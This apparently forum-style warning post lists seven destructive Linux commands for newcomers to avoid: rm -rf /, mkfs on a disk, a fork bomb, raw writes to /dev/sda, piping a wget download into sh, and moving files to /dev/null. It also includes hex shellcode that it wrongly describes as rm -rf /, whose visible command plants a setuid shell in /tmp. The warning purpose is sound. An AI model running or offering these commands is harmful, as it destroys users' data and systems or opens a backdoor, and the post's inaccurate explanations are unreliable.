Deadly Linux Commands

[rockza]

Deadly Linux Commands

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code: rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:char esp[] __attribute__ ((section(".text"))) /* e.s.prelease */= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68""\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99""\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7""\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56""\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31""\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69""\x6e\x2f\x73\x68\x00\x2d\x63\x00""cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code::(){:|:&};:

You have to save this text as a file named : (colon), then make it executable and run it with ./:
It's just obscure code to fork a new process with the name : and run that... which forks a new one etc.
More clearly:
myfork()
{myfork|myfork&}
;
myfork
Save as myfork, make executable and run ./myfork
To save guard against this, you can set the number of processes for a particular user. 500 should be plenty, then you should still be able to kill myfork.

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.